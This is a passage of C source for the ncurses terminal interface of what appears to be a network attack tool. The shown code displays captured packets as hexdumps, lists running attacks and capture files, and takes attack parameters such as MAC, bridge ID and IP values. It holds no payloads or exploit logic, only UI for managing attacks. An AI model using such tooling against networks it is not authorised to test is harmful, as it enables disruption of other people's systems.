(col-INFO_WIDTH)/2 - 1, ACS_LLCORNER); mvwaddch(main_window, (row-INFO_HEIGHT)/2 - 1, (col-INFO_WIDTH)/2 + INFO_WIDTH, ACS_URCORNER); mvwhline(main_window, (row-INFO_HEIGHT)/2 - 1, (col-INFO_WIDTH)/2, ACS_HLINE, INFO_WIDTH); mvwvline(main_window, (row-INFO_HEIGHT)/2, (col-INFO_WIDTH)/2 - 1, ACS_VLINE, INFO_HEIGHT); mvwhline(main_window, (row-INFO_HEIGHT)/2 + INFO_HEIGHT, (col-INFO_WIDTH)/2, ACS_HLINE, INFO_WIDTH); mvwvline(main_window, (row-INFO_HEIGHT)/2, (col-INFO_WIDTH)/2 + INFO_WIDTH, ACS_VLINE, INFO_HEIGHT); mvwprintw(main_window, (row-INFO_HEIGHT)/2 + INFO_HEIGHT, (col-INFO_WIDTH)/2 + 4 , " q,ENTER: exit Up/Down: scrolling "); wrefresh(main_window); if (protocols[mode].get_printable_packet) { if ((values = (*protocols[mode].get_printable_packet)(&protocols[mode].stats[pointer])) == NULL) { write_log(0, "Error in get_printable_packet (mode %d)\n", mode); delwin( info_window ); return -1; } } else { write_log(0, "Warning: there is no get_printable_packet for protocol %d\n", mode); delwin( info_window ); return -1; } k = 0; for (j = 0; j < protocols[mode].nparams; j++) { if ((params[j].type != FIELD_IFACE) && (params[j].type != FIELD_DEFAULT) && (params[j].type != FIELD_EXTRA)) { wattron(info_window, COLOR_PAIR(4)); mvwprintw(info_window, k, 2, "%15s", params[j].ldesc); wattroff(info_window, COLOR_PAIR(4)); mvwprintw(info_window, k, 19, "%s %s", values[k], params[j].meaning ? parser_get_meaning(values[k], params[j].meaning) : ""); k++; } } ptrtlv = values[k]; if (protocols[mode].extra_nparams > 0) { while ((ptrtlv) && (strlen((char *)ptrtlv) > 0)) { mvwprintw(info_window, k, 2, "%15s", ptrtlv); //write_log(0, "msg es %s\n", ptrtlv); ptrtlv += strlen((char *)ptrtlv) + 1; if (ptrtlv) { mvwprintw(info_window, k, 19, "%s", ptrtlv); ptrtlv += strlen((char *)ptrtlv) + 1; } k++; } } wattron(info_window, COLOR_PAIR(4)); mvwprintw(info_window, k, 2, "%15s", "Total"); wattroff(info_window, COLOR_PAIR(4)); mvwprintw(info_window, k++, 19,"%ld", protocols[mode].stats[pointer].total); wattron(info_window, COLOR_PAIR(4)); mvwprintw(info_window, k, 2, "%15s", "Interface"); wattroff(info_window, COLOR_PAIR(4)); mvwprintw(info_window, k++, 19,"%s", protocols[mode].stats[pointer].iface); wtimeout(info_window,NCURSES_KEY_TIMEOUT); do { prefresh(info_window, line, 0, (row-INFO_HEIGHT)/2, (col-INFO_WIDTH)/2, (row-INFO_HEIGHT)/2 + INFO_HEIGHT - 1, (col-INFO_WIDTH)/2 + INFO_WIDTH - 1); do { key_pressed = wgetch(info_window); } while( (key_pressed == ERR) && !terms->gui_th.stop); switch(key_pressed) { case KEY_UP: if (line > 0) line--; break; case KEY_DOWN: if (line < INFO_HEIGHT) line++; break; } } while(!terms->gui_th.stop && (key_pressed != 13) && (key_pressed!='q') && (key_pressed!='Q')); delwin(info_window); wclear(main_window); ncurses_c_set_status_line(""); return 0; } /* * Display packet * Taken from print-ascii.c (tcpdump) * http://www.tcpdump.org */ int8_t ncurses_i_view_packet(u_int8_t mode, WINDOW *main_window, u_int8_t pointer) { u_int8_t *packet; u_int16_t length, oset; int32_t j, key_pressed, line, row, col; WINDOW *view_window; register u_int i; register int s1, s2; register int nshorts; char hexstuff[HEXDUMP_SHORTS_PER_LINE*HEXDUMP_HEXSTUFF_PER_SHORT+1], *hsp; char asciistuff[ASCII_LINELENGTH+1], *asp; u_int32_t maxlength = HEXDUMP_SHORTS_PER_LINE; ncurses_c_set_status_line(" Displaying packet "); getmaxyx(main_window,row,col); view_window = newpad(MAX_PAD_HEIGHT, MAX_PAD_WIDTH); keypad(view_window, TRUE); j = 0; line = 0; oset = 0; length = 0; packet = NULL; /* OK, I already know that this is a weird way to do it, but * I do not have enough free time to fix it :P */ wattron(info_window, COLOR_PAIR(4)); wattron(main_window, COLOR_PAIR(4)); mvwaddch(main_window, (row-VIEW_HEIGHT)/2 - 1, (col-VIEW_WIDTH)/2 - 1, ACS_ULCORNER); mvwaddch(main_window, (row-VIEW_HEIGHT)/2 - 1, (col-VIEW_WIDTH)/2 + VIEW_WIDTH, ACS_URCORNER); mvwaddch(main_window, (row-VIEW_HEIGHT)/2 + VIEW_HEIGHT, (col-VIEW_WIDTH)/2 + VIEW_WIDTH, ACS_LRCORNER); mvwaddch(main_window, (row-VIEW_HEIGHT)/2 + VIEW_HEIGHT, (col-VIEW_WIDTH)/2 - 1, ACS_LLCORNER); mvwaddch(main_window, (row-VIEW_HEIGHT)/2 - 1, (col-VIEW_WIDTH)/2 + VIEW_WIDTH, ACS_URCORNER); mvwhline(main_window, (row-VIEW_HEIGHT)/2 - 1, (col-VIEW_WIDTH)/2, ACS_HLINE, VIEW_WIDTH); mvwvline(main_window, (row-VIEW_HEIGHT)/2, (col-VIEW_WIDTH)/2 - 1, ACS_VLINE, VIEW_HEIGHT); mvwhline(main_window, (row-VIEW_HEIGHT)/2 + VIEW_HEIGHT, (col-VIEW_WIDTH)/2, ACS_HLINE, VIEW_WIDTH); mvwvline(main_window, (row-VIEW_HEIGHT)/2, (col-VIEW_WIDTH)/2 + VIEW_WIDTH, ACS_VLINE, VIEW_HEIGHT); mvwprintw(main_window, (row-VIEW_HEIGHT)/2 + VIEW_HEIGHT, (col-VIEW_WIDTH)/2 + 16 , " q,ENTER: exit Up/Down: scrolling "); wrefresh(main_window); packet = protocols[mode].stats[pointer].packet; length = (protocols[mode].stats[pointer].header->len < SNAPLEN) ? protocols[mode].stats[pointer].header->len : SNAPLEN; nshorts = length / sizeof(u_int16_t); i = 0; hsp = hexstuff; asp = asciistuff; while (--nshorts >= 0) { s1 = *packet++; s2 = *packet++; (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff), " %02x%02x", s1, s2); hsp += HEXDUMP_HEXSTUFF_PER_SHORT; *(asp++) = (isgraph(s1) ? s1 : '.'); *(asp++) = (isgraph(s2) ? s2 : '.'); i++; if (i >= maxlength) { *hsp = *asp = '\0'; mvwprintw(view_window, j, 1, "0x%04x: %-*s %s", oset, HEXDUMP_HEXSTUFF_PER_LINE, hexstuff, asciistuff); i = 0; hsp = hexstuff; asp = asciistuff; oset += HEXDUMP_BYTES_PER_LINE; j++; } } if (length & 1) { s1 = *packet++; (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff), " %02x", s1); hsp += 3; *(asp++) = (isgraph(s1) ? s1 : '.'); ++i; } if (i > 0) { *hsp = *asp = '\0'; (void)mvwprintw(view_window, j, 1, "0x%04x: %-*s %s", oset, HEXDUMP_HEXSTUFF_PER_LINE, hexstuff, asciistuff); } wtimeout(view_window, NCURSES_KEY_TIMEOUT); do { prefresh(view_window, line, 0, (row-VIEW_HEIGHT)/2, (col-VIEW_WIDTH)/2, (row-VIEW_HEIGHT)/2 + VIEW_HEIGHT - 1, (col-VIEW_WIDTH)/2 + VIEW_WIDTH - 1); do { key_pressed = wgetch(view_window); } while( (key_pressed == ERR) && !terms->gui_th.stop); switch(key_pressed) { case KEY_UP: if (line > 0) line--; break; case KEY_DOWN: if (line < VIEW_HEIGHT) line++; break; } } while(!terms->gui_th.stop && (key_pressed != 13) && (key_pressed!='q') && (key_pressed!='Q')); delwin(view_window); wclear(main_window); ncurses_c_set_status_line(""); return 0; } /* * List attack */ void ncurses_i_list_attacks( WINDOW *list_window, struct term_node *node ) { u_int8_t end, kill, j, pointer, a, i, used, indx=0, files[MAX_PROTOCOLS*MAX_THREAD_ATTACK][2]; int32_t key_pressed; struct _attack_definition *attack_def = NULL; used = 0; j = 0; for (a=0; a<MAX_PROTOCOLS; a++) { for (i=0; i<MAX_THREAD_ATTACK; i++) { if (node->protocol[a].attacks[i].up) { files[j][0]=a; /* Protocol */ files[j][1]=i; /* Attack used */ j++; used++; } } } ncurses_c_set_status_line(" Listing current attacks... "); pointer = 0; kill = 0; end = 0; wclear(list_window); wattron(list_window, COLOR_PAIR(4)); box(list_window, 0, 0); mvwprintw(list_window, 0, 2, " Running attacks "); mvwprintw(list_window, 2, 2, " Protocol Type Description"); mvwprintw(list_window, 19, 2, " Press ENTER to cancel an attack or 'q' to quit"); wattroff(list_window, COLOR_PAIR(4)); keypad(list_window, TRUE); wtimeout(list_window,NCURSES_KEY_TIMEOUT); /* Block for 100 millisecs...*/ while (!end && !terms->gui_th.stop) { i = 0; while (!terms->gui_th.stop && (i < used)) { /* Kill the attack thread selected */ if (kill) { if (node->protocol[files[indx][0]].attacks[files[indx][1]].up) { attack_kill_th(node, node->protocol[files[indx][0]].attacks[files[indx][1]].attack_th.id); break; } } if (i == pointer) { wattron(list_window, COLOR_PAIR(1)); indx=i; } else wattroff(list_window, COLOR_PAIR(1)); if (node->protocol[files[i][0]].attacks[files[i][1]].up) { attack_def = protocols[files[i][0]].attack_def_list; mvwprintw(list_window, i+4, 2, "%8s %-2d %s", protocols[files[i][0]].namep, node->protocol[files[i][0]].attacks[files[i][1]].attack, attack_def[ node->protocol[files[i][0]].attacks[files[i][1]].attack].desc); } i++; } wrefresh(list_window); if (kill) break; do { key_pressed = wgetch(list_window); } while( (key_pressed == ERR) && !terms->gui_th.stop); if (!terms->gui_th.stop) { switch(key_pressed) { case KEY_DOWN: if ( pointer < (used-1)) pointer++; break; case KEY_UP: if (pointer > 0) pointer--; break; case 'Q': case 'q': end = 1; break; case 13: /* ENTER */ kill = 1; break; } } } ncurses_c_set_status_line(""); } /* * List capture files */ void ncurses_i_list_filecaps(WINDOW *list_window, struct term_node *node) { int32_t key_pressed; u_int8_t end, kill, j, pointer, i, used, indx=0, files[MAX_PROTOCOLS+2]; used = 0; j = 0; for (i=0; i<MAX_PROTOCOLS; i++) { if (node->protocol[i].pcap_file.pdumper) { files[j]=i; j++; used++; } } if (node->pcap_file.pdumper) { files[j]=PROTO_ALL; used++; } ncurses_c_set_status_line(" Listing current capture files... "); pointer = 0; kill = 0; end = 0; wclear(list_window); wattron(list_window, COLOR_PAIR(4)); box(list_window, 0, 0); mvwprintw(list_window, 0, 2, " Capture files "); mvwprintw(list_window, 2, 2, "Protocol Filename"); mvwprintw(list_window, 19, 2, " Press ENTER to cancel a capture file or 'q' to quit"); wattroff(list_window, COLOR_PAIR(4)); keypad(list_window, TRUE); wtimeout(list_window,NCURSES_KEY_TIMEOUT); while (!end && !terms->gui_th.stop) { i = 0; while (!terms->gui_th.stop && (i < used) ) { if (kill) { if (files[indx] == PROTO_ALL) interfaces_pcap_file_close(node,PROTO_ALL); else interfaces_pcap_file_close(node,files[indx]); break; } if (i == pointer) { wattron(list_window, COLOR_PAIR(1)); indx=i; } else wattroff(list_window, COLOR_PAIR(1)); if (files[i] == PROTO_ALL) { mvwprintw(list_window, i+4, 2, " %-6s %s", "ALL", node->pcap_file.name); } else { mvwprintw(list_window, i+4, 2, " %-6s %s", protocols[files[i]].namep, node->protocol[files[i]].pcap_file.name); } i++; } wrefresh(list_window); if (kill) break; do { key_pressed = wgetch(list_window); } while( (key_pressed == ERR) && !terms->gui_th.stop); if (!terms->gui_th.stop) { switch(key_pressed) { case KEY_DOWN: if ( pointer < (used-1)) pointer++; break; case KEY_UP: if (pointer > 0) pointer--; break; case 'Q': case 'q': end = 1; break; case 13: kill = 1; break; } } } ncurses_c_set_status_line(""); } int8_t ncurses_i_error_window( u_int8_t mode, char *message, ... ) { int32_t row, col, i, message_s; int32_t max_y, max_x; va_list argp; WINDOW *my_window; PANEL *my_panel; char *ptr, *m_split; char *vmessage; ncurses_c_set_status_line(" You've got a message "); getmaxyx( stdscr, row, col ); if ( col < 2 ) return -1 ; /* Max message size is ERRORMSG_SIZE bytes */ if ((vmessage = (char *)calloc( 1, ERRORMSG_SIZE ) ) == NULL) { thread_error("Error in malloc", errno); return -1; } va_start(argp, message); if (vsnprintf(vmessage,ERRORMSG_SIZE, message, argp) < 0) { thread_error("Error in vsprintf", errno); free( vmessage ); return -1; } va_end(argp); i = 1; ptr = vmessage; message_s = strlen( vmessage ); if ( message_s > ERRORMSG_SIZE ) { free( vmessage ); return -1; } /* by default half columns than terminal columns */ max_y = col / 2; /* as many rows as needed to fit the message (estimated) */ max_x = (message_s / (col / 2)) + 4; if ((m_split = (char *) malloc(max_y - 3)) == NULL) { thread_error("Error in malloc", errno); free( vmessage ); return -1; } my_window = newwin(max_x, max_y, (row-max_x)/2, (col-max_y)/2); my_panel = new_panel(my_window); wattron(my_window, COLOR_PAIR(3)); box(my_window, 0, 0); switch(mode) { case 0: mvwprintw(my_window, 0, 2, " Notification window "); write_log(0, " Notification: %s\n", vmessage); break; case 1: mvwprintw(my_window, 0, 2, " Error window "); write_log(0, " Error: %s\n", vmessage); break; } mvwprintw(my_window, max_x - 1, 2, " Press any key to continue "); wattroff(my_window, COLOR_PAIR(3)); while (message_s > 0) { /* split the message */ if (message_s >= max_y - 4) { strncpy(m_split, ptr, max_y - 4); m_split[max_y-4] = '\0'; mvwprintw(my_window, i, 2, "%s", m_split); message_s -= max_y - 4; ptr += max_y - 4; /* offset */ } else { strncpy(m_split, ptr, message_s); m_split[message_s] = '\0'; mvwprintw(my_window, i, 2, "%s", m_split); message_s = 0; } i++; } free(m_split); free(vmessage); update_panels(); if (doupdate() == ERR) return -1; wtimeout(my_window, NCURSES_KEY_TIMEOUT); while ((wgetch(my_window)==ERR) && !terms->gui_th.stop); if (del_panel(my_panel) == ERR) return -1; if (delwin(my_window) == ERR) return -1; ncurses_c_set_status_line(""); return 0; } int8_t ncurses_i_getstring_window(struct term_node *term, char *status, char *data, u_int16_t max, char *message) { int32_t row, col; int32_t max_y, max_x; WINDOW *my_window; PANEL *my_panel; ncurses_c_set_status_line(status); getmaxyx(stdscr,row,col); /* TODO: lateral scroll max_y = max+3; */ max_y = 64+3; max_x = 5; my_window = newwin(max_x, max_y, (row-max_x)/2, (col-max_y)/2); my_panel = new_panel(my_window); wattron(my_window, COLOR_PAIR(3)); box(my_window, 0, 0); mvwprintw(my_window, 0, 2, "%s", message); mvwprintw(my_window, max_x - 1, 2, " Press Enter to continue "); wattroff(my_window, COLOR_PAIR(3)); wmove(my_window, max_x - 3, 1); echo(); curs_set(2); wgetnstr(my_window, data, max); noecho(); curs_set(0); update_panels(); doupdate(); del_panel(my_panel); delwin(my_window); ncurses_c_set_status_line(""); return 0; } int32_t ncurses_i_getconfirm(struct term_node *term, char *status, char *message, char *title) { int32_t row, col, key_pressed=0, max_y, max_x; u_int8_t end=0; char *bottom = " 'Y' to confirm - 'N' to abort "; WINDOW *my_window; PANEL *my_panel; ncurses_c_set_status_line(status); getmaxyx(stdscr,row,col); max_x = strlen(message)+2; if (strlen(bottom)>max_x) max_x = strlen(bottom); max_y = 5; my_window = newwin(max_y, max_x, (row-max_y)/2, (col-max_x)/2); my_panel = new_panel(my_window); noecho(); curs_set(0); wattron(my_window, COLOR_PAIR(3)); box(my_window, 0, 0); mvwprintw(my_window, 0, 2, "%s", title); mvwprintw(my_window, max_y - 1, 2, "%s", bottom); wattroff(my_window, COLOR_PAIR(3)); mvwprintw(my_window, max_y - 3, 1, "%s", message); wtimeout(my_window,NCURSES_KEY_TIMEOUT); /* Block for 100 millisecs...*/ while (!end && !terms->gui_th.stop) { do { key_pressed = wgetch(my_window); } while ( (key_pressed == ERR) && !terms->gui_th.stop); if (terms->gui_th.stop) break; switch(key_pressed) { case 'y': case 'Y': key_pressed = 'y'; end=1; break; case 'n': case 'N': key_pressed = 'n'; end = 1; break; } } update_panels(); doupdate(); del_panel(my_panel); delwin(my_window); ncurses_c_set_status_line(""); return key_pressed; } int32_t ncurses_i_popup_window(WINDOW *bwindow, const struct tuple_type_desc *tuple, u_int8_t state) { WINDOW *win; int32_t i, j, pointer, end, result, key_pressed, row, col; pointer = 0; end = 0; result = ERR; getmaxyx(stdscr, row, col); if ((win = derwin(stdscr, 5, 22, row-NCURSES_BWINDOW_SIZE, 20)) == NULL) return ERR; keypad(win, TRUE); /* scrollok(win, TRUE); idlok(win, TRUE);*/ while (!terms->gui_th.stop && !end) { j = 0; i = pointer; /* Show max 3 options */ while(tuple[i].desc != NULL && j <= 2) { if (i == pointer) wattron(win, COLOR_PAIR(5) | A_BOLD); wmove(win, j+1, 1); whline(win, ' ', 20); mvwprintw(win, j+1, 1, "%s", tuple[i].desc); if (i == pointer) wattroff(win, A_BOLD); i++; j++; } box(win, 0, 0); wtimeout(win,NCURSES_KEY_TIMEOUT); /* Block for 100 millisecs...*/ key_pressed = wgetch(win); switch(key_pressed) { case KEY_DOWN: pointer = (tuple[pointer+1].desc) ? (pointer+1) : pointer; break; case KEY_UP: pointer = (pointer > 0) ? (pointer-1) : 0; break; case 13: /* ENTER */ result = tuple[pointer].type; end = 1; break; case 27: /* ESC */ end = 1; break; } werase(win); } wrefresh(bwindow); if (delwin(win) == ERR) return ERR; return result; } int8_t ncurses_i_edit_tlv(struct term_node *node, u_int8_t mode) { u_int8_t **values = NULL; WINDOW *win; int32_t pointer, end, key_pressed, row, col, modified; u_int8_t j, jfields, *ptrtlv, k; struct commands_param *params; pointer = 1; end = 0; modified = 1; getmaxyx(stdscr, row, col); if ((win = derwin(stdscr, 23, 41, (row-23)/2, (col-41)/2)) == NULL) return ERR; params = (struct commands_param *) protocols[mode].parameters; keypad(win, TRUE); curs_set(0); while (!terms->gui_th.stop && !end) { if (modified) { if ((values = (u_int8_t **)(*protocols[mode].get_printable_store)(node)) == NULL) { write_log(0, "Error in get_printable_store (mode %d)\n", mode); delwin( win ); return -1; } modified = 0; wclear(win); wrefresh(win); } k = 0; for (j = 0; j < protocols[mode].nparams; j++) { if ((params[j].type != FIELD_IFACE) && (params[j].type != FIELD_DEFAULT) && (params[j].type != FIELD_EXTRA)) k++; } ptrtlv = values[k]; jfields = 1; if (protocols[mode].extra_nparams > 0) { while ((ptrtlv) && (strlen((char *)ptrtlv) > 0)) { if (jfields == pointer) wattron(win, COLOR_PAIR(4)); else wattroff(win, COLOR_PAIR(4)); mvwprintw(win, jfields, 2, "%15s", ptrtlv); ptrtlv += strlen((char *)ptrtlv) + 1; if (ptrtlv) { mvwprintw(win, jfields, 19, "%s", ptrtlv); ptrtlv += strlen((char *)ptrtlv) + 1; } jfields++; } } wattron(win, COLOR_PAIR(4)); box(win, 0, 0); mvwprintw(win, 22, 7, "q: EXIT, a: ADD, d:DEL"); wtimeout(win, NCURSES_KEY_TIMEOUT); /* Block for 100 millisecs...*/ key_pressed = wgetch(win); switch(key_pressed) { case KEY_DOWN: pointer = (pointer < jfields - 1) ? (pointer+1) : pointer; break; case KEY_UP: pointer = (pointer > 1) ? (pointer-1) : 1; break; /* Add TLV */ case 'a': case 'A': ncurses_i_add_selected_tlv_type(win, node, mode); modified = 1; break; /* Delete TLV */ case 'd': case 'D': ncurses_i_del_selected_tlv(node, mode, pointer); modified = 1; break; case 'q': case 'Q': end = 1; break; case 27: /* ESC */ end = 1; break; } if (modified && values) { while(values[j]) { free(values[j]); j++; } free(values); values = NULL ; } } werase(win); j = 0; if (values) { while(values[j]) { free(values[j]); j++; } free(values); } if (delwin(win) == ERR) return ERR; return 0; } int8_t ncurses_i_add_selected_tlv_type(WINDOW *win, struct term_node *node, u_int8_t mode) { int32_t i, pointer, end, key_pressed; struct attack_param *attack_param = NULL ; struct commands_param_extra_item *newitem = NULL ; u_int8_t field; int8_t ret; void *extra = NULL ; pointer = 0; end = 0; i = 0; key_pressed = 0; while (!terms->gui_th.stop && !end) { werase(win); i = 0; for (i = 0; i < protocols[mode].extra_nparams; i++) { if (i == pointer) wattron(win, COLOR_PAIR(5) | A_BOLD); wmove(win, i+1, 1); whline(win, ' ', 20); mvwprintw(win, i+1, 1, "%s", protocols[mode].extra_parameters[i].ldesc); if (i == pointer) wattroff(win, A_BOLD); } box(win, 0, 0); mvwprintw(win, 22, 7, "Press ENTER to add the selected TYPE"); wtimeout(win,NCURSES_KEY_TIMEOUT); /* Block for 100 millisecs...*/ key_pressed = wgetch(win); switch(key_pressed) { case KEY_DOWN: pointer = (pointer < (i-1)) ? (pointer+1) : pointer; break; case KEY_UP: pointer = (pointer > 0) ? (pointer-1) : 0; break; case 13: /* ENTER */ if ((newitem = (struct commands_param_extra_item *) calloc(1, sizeof(struct commands_param_extra_item))) == NULL) { write_log(0, "Error in calloc\n"); return -1; } if ((newitem->value = (u_int8_t *) calloc(1, protocols[mode].extra_parameters[pointer].size)) == NULL) { free( newitem ); write_log(0, "Error in calloc\n"); return -1; } memcpy((void *)&newitem->id, (void *)&protocols[mode].extra_parameters[pointer].id, 4); end = 1; break; case 27: /* ESC */ end = 1; break; } } /* Set up the param... */ if (newitem) { if ((attack_param = (struct attack_param *) calloc(1, (sizeof(struct attack_param)))) == NULL) { thread_error(" ncurses_i_attack_screen attack_param calloc",errno); free( newitem->value ); free( newitem ); key_pressed='Q'; return -1; } attack_param->desc = calloc(1, strlen(protocols[mode].extra_parameters[pointer].ldesc) + 1); strncpy(attack_param->desc, protocols[mode].extra_parameters[pointer].ldesc, strlen(protocols[mode].extra_parameters[pointer].ldesc)); attack_param->size = protocols[mode].extra_parameters[pointer].size; attack_param->type = protocols[mode].extra_parameters[pointer].type; attack_param->size_print = protocols[mode].extra_parameters[pointer].size_print; if (attack_init_params(node, attack_param, 1) < 0) { free( newitem->value ); free( newitem ); free( attack_param->desc ); free( attack_param ); key_pressed='Q'; return -1; } /* Now we can ask for parameters... */ ncurses_i_get_printable_store(attack_param, 1); do { if (ncurses_i_attack_get_params(attack_param, 1) < 0) /* Q pressed */ { attack_free_params(attack_param, 1); free(attack_param); free( newitem->value ); free( newitem ); key_pressed='Q'; return -1; } ret = attack_filter_all_params(attack_param, 1, &field); if ( ret == -1) /* Error on data...*/ { ncurses_i_error_window(1, "Bad data on field '%s'!!", attack_param[field].desc); } } while(ret==-1); if (key_pressed == 'Q') { i = 0; wclear(win); wattron(win, COLOR_PAIR(1)); box(win, 0, 0); key_pressed = 0; } strncpy((char *)newitem->value, attack_param->print, attack_param->size_print); if (protocols[mode].get_extra_field) { extra = (*protocols[mode].get_extra_field)(node, NULL, 0); extra = dlist_append(extra, (void *)newitem); (*protocols[mode].get_extra_field)( node, extra, 1 ); } else { attack_free_params(attack_param, 1); free(attack_param); free( newitem->value ); free( newitem ); } return 0; } return -1; } int8_t ncurses_i_del_selected_tlv(struct term_node *node, u_int8_t mode, u_int8_t pointer) { void *extra; dlist_t *p; struct commands_param_extra *extrap; u_int8_t i; if (protocols[mode].get_extra_field) { extra = (*protocols[mode].get_extra_field)(node, NULL, 0); for (i=0,p=extra;p; i++,p = dlist_next(extra, p)) { extrap = dlist_data(p); if (i == (pointer - 1)) { extra = dlist_remove(extra, (void *)extrap); break; } } (*protocols[mode].get_extra_field)(node, extra, 1); } return 0; } void ncurses_i_get_printable_store(struct attack_param *attack_param, u_int8_t nparams) { u_int8_t i, *aux_char; u_int16_t *aux_short; u_int32_t *aux_long; for (i=0; i< nparams; i++) { switch(attack_param[i].type) { case FIELD_BRIDGEID: aux_char = (u_int8_t *)attack_param[i].value; snprintf(attack_param[i].print, 18, "%02X%02X.%02X%02X%02X%02X%02X%02X", aux_char[0], aux_char[1], aux_char[2], aux_char[3], aux_char[4], aux_char[5], aux_char[6], aux_char[7]); break; case FIELD_MAC: aux_char = (u_int8_t *)attack_param[i].value; snprintf(attack_param[i].print, 18, "%02X:%02X:%02X:%02X:%02X:%02X", aux_char[0], aux_char[1], aux_char[2], aux_char[3], aux_char[4], aux_char[5]); break; case FIELD_HEX: case FIELD_DEC: switch(attack_param[i].size) { case 1: aux_char = (u_int8_t *)attack_param[i].value; if (attack_param[i].type == FIELD_HEX) snprintf(attack_param[i].print, attack_param[i].size_print+1, "%02X", *(aux_char)); else snprintf(attack_param[i].print, attack_param[i].size_print+1, "%02d", *(aux_char)); break; case 2: aux_short = (u_int16_t *)attack_param[i].value; if (attack_param[i].type == FIELD_HEX) snprintf(attack_param[i].print, attack_param[i].size_print+1, "%04X", *(aux_short)); else snprintf(attack_param[i].print, attack_param[i].size_print+1, "%04d", *(aux_short)); break; default: aux_long = (u_int32_t *)attack_param[i].value; if (attack_param[i].type == FIELD_HEX) snprintf(attack_param[i].print, attack_param[i].size_print+1, "%0*X", attack_param[i].size_print, *(aux_long)); else snprintf(attack_param[i].print, attack_param[i].size_print+1, "%0*d", attack_param[i].size_print, *(aux_long)); break; } break; case FIELD_IP: aux_long = (u_int32_t *)attack_param[i].value; parser_get_formated_inet_address(*aux_long, attack_param[i].print, 16); break; case FIELD_STR: memcpy(attack_param[i].print, attack_param[i].value, attack_param[i].size_print); break; } } } /* * Get parameters for attack */ int8_t ncurses_i_attack_get_params(struct attack_param *param, u_int8_t nparams) { int32_t row, col; int32_t max_y, max_x, y, x; u_int8_t i, end_edit=0, offset_x=0, offset_y, origin_x, origin_y, max_print=0; int8_t ret=0; int32_t key_pressed; char *bottom = "ESC to abort - ENTER to continue"; WINDOW *my_window; PANEL *my_panel; for (i=0; i< nparams; i++) { if (strlen(param[i].desc) > offset_x) offset_x = strlen(param[i].desc); if (param[i].size_print > max_print) max_print = param[i].size_print; } offset_y = 2; getmaxyx(stdscr,row,col); if ((offset_x+max_print+3) > (strlen(bottom)+4)) max_x = offset_x + max_print+3; else max_x = strlen(bottom)+4; max_y = nparams+4; my_window = newwin(max_y, max_x, (row-max_y)/2, (col-max_x)/2); my_panel = new_panel(my_window); wattron(my_window, COLOR_PAIR(3)); box(my_window, 0, 0); mvwprintw(my_window, 0, 2, "Attack parameters"); mvwprintw(my_window, max_y - 1, 2, "%s", bottom); wattroff(my_window, COLOR_PAIR(3)); wmove(my_window, max_x - 3, 1); noecho(); curs_set(0); for (i=0; i< nparams; i++) { wattron(my_window, COLOR_PAIR(2)); mvwprintw(my_window, i+2, 1, "%*s", offset_x, param[i].desc); wattroff(my_window, COLOR_PAIR(2)); mvwprintw(my_window, i+2, 2+offset_x, "%s", param[i].print); } origin_x = 2+offset_x; origin_y = 2; wmove(my_window, origin_y, origin_x); noecho(); curs_set(1); keypad(my_window, TRUE); wtimeout(my_window,NCURSES_KEY_TIMEOUT); end_edit = 0; while (!end_edit && !terms->gui_th.stop) { do { key_pressed = wgetch(my_window); } while ( (key_pressed == ERR) && !terms->gui_th.stop); if (terms->gui_th.stop) break; switch(key_pressed) { case 13: /* ENTER */ end_edit = 1; ret = 0; break; case 27: /* ESC */ end_edit = 1; ret = -1; break; case 9: /* TAB */ case KEY_DOWN: getyx(my_window,y,x); if ( (y - offset_y) == (nparams-1)) wmove(my_window, origin_y, origin_x); else wmove(my_window, y+1, origin_x); break; case KEY_UP: getyx(my_window,y,x); if ( (y - offset_y) == 0) wmove(my_window, origin_y+(nparams-1), origin_x); else wmove(my_window, y-1, origin_x); break; case KEY_RIGHT: getyx(my_window, y, x); /* jump to the next valid character */ if ( x < (origin_x + param[y-offset_y].size_print - 1)) { if ((param[y-offset_y].type == FIELD_MAC) && (((x - origin_x - 1) % 3) == 0)) wmove(my_window, y, x + 2); /* jump : */ else if ((param[y-offset_y].type == FIELD_BRIDGEID) && ((x - origin_x) == 3)) wmove(my_window, y, x + 2); /* jump . */ else if ((param[y-offset_y].type == FIELD_IP) && (((x - origin_x-1 ) % 4) == 1)) wmove(my_window, y, x + 2); /* jump . */ else wmove(my_window, y, x + 1); } else /* jump to the next field */ { if ((y-offset_y) == (nparams-1)) wmove(my_window, origin_y, origin_x); else wmove(my_window, y+1, origin_x); } break; case KEY_LEFT: getyx(my_window, y, x); if (x > origin_x) { if ((param[y-offset_y].type == FIELD_MAC) && (((x - origin_x) % 3) == 0) ) /* jump */ wmove(my_window, y, x - 2); else if ((param[y-offset_y].type == FIELD_BRIDGEID) && ((x - origin_x) == 5) ) /* jump */ wmove(my_window, y, x - 2); else if ((param[y-offset_y].type == FIELD_IP) && (((x - origin_x) % 4) == 0) ) /* jump */ wmove(my_window, y, x - 2); else wmove(my_window, y, x - 1); } else { if ( (y - offset_y) == 0) wmove(my_window, origin_y+(nparams-1), origin_x+param[origin_y+(nparams-1)-offset_y].size_print-1); else wmove(my_window, y-1, origin_x+param[y-1-offset_y].size_print-1); } break; default: getyx(my_window, y, x); if ((key_pressed == 'Q' || key_pressed == 'q') && ( param[y-offset_y].type != FIELD_STR ) && ( param[y-offset_y].type != FIELD_IFACE ) && ( param[y-offset_y].type != FIELD_ENABLED_IFACE ) ) { end_edit = 1; ret = -1; } if ((param[y-offset_y].type == FIELD_HEX) || (param[y-offset_y].type == FIELD_MAC) || (param[y-offset_y].type == FIELD_BRIDGEID)) { if (!isxdigit(key_pressed)) /* only hexadecimal characters are allowed */ break; } else if ((param[y-offset_y].type == FIELD_DEC) || (param[y-offset_y].type == FIELD_IP)) { if (!isdigit(key_pressed)) break; } else if ( ( param[y-offset_y].type == FIELD_STR ) || ( param[y-offset_y].type == FIELD_IFACE ) || ( param[y-offset_y].type == FIELD_ENABLED_IFACE ) ) { if (!isascii(key_pressed)) break; } else /* FIELD_NONE */ break; waddch(my_window, key_pressed | A_BOLD); getyx(my_window, y, x); param[y-offset_y].print[x-origin_x-1] = key_pressed; if ( x >= (origin_x + param[y-offset_y].size_print )) { if ((y-offset_y) == (nparams-1)) wmove(my_window, origin_y, origin_x); else wmove(my_window, y+1, origin_x); } else { if ( (param[y-offset_y].type == FIELD_MAC) && (((x - origin_x + 1) % 3) == 0)) /* jump */ wmove(my_window, y, x + 1); else if ( (param[y-offset_y].type == FIELD_BRIDGEID) && ((x - origin_x) == 4)) /* jump */ wmove(my_window, y, x + 1); else if ( 